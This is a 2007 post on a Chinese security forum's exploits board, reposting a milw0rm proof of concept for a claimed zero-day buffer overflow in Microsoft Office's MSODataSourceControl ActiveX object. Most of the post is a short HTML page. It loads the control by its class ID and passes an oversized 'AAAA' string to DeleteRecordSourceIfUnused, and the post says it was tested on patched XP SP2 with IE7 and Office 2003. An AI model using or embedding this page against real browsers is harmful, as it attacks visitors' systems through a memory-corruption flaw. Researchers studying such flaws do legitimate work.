Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)

zshoucheng

荣誉会员

Rank: 6 Rank: 6 Rank: 6

E.S.T论坛贵宾

帖子: 238
精华: 12
积分: 4746
阅读权限: 100
性别: 男
来自: gd
在线时间: 1268 小时
注册时间: 2006-5-19
最后登录: 2008-7-6

发短消息
加为好友
当前离线

楼主大中小发表于 2007-6-14 12:55 只看该作者

Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)

MSODataSourceControl.DeleteRecordSourceIfUnused COM-object B0F POC
Tested on full patched XP/SP2, IE7, MSO2003

复制内容到剪贴板

代码:

<html>

<object id=ctl classid="clsid:{0002E55B-0000-0000-C000-000000000046}"></object>

<script language="javascript">

var b = &#39;AAAA&#39;;

while (b.length <= 256) b+=b;

ctl.DeleteRecordSourceIfUnused(b);

</script>

</html>

# milw0rm.com [2007-06-13]

---> 伱能領導潮流. 我可領導全賕! <---

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)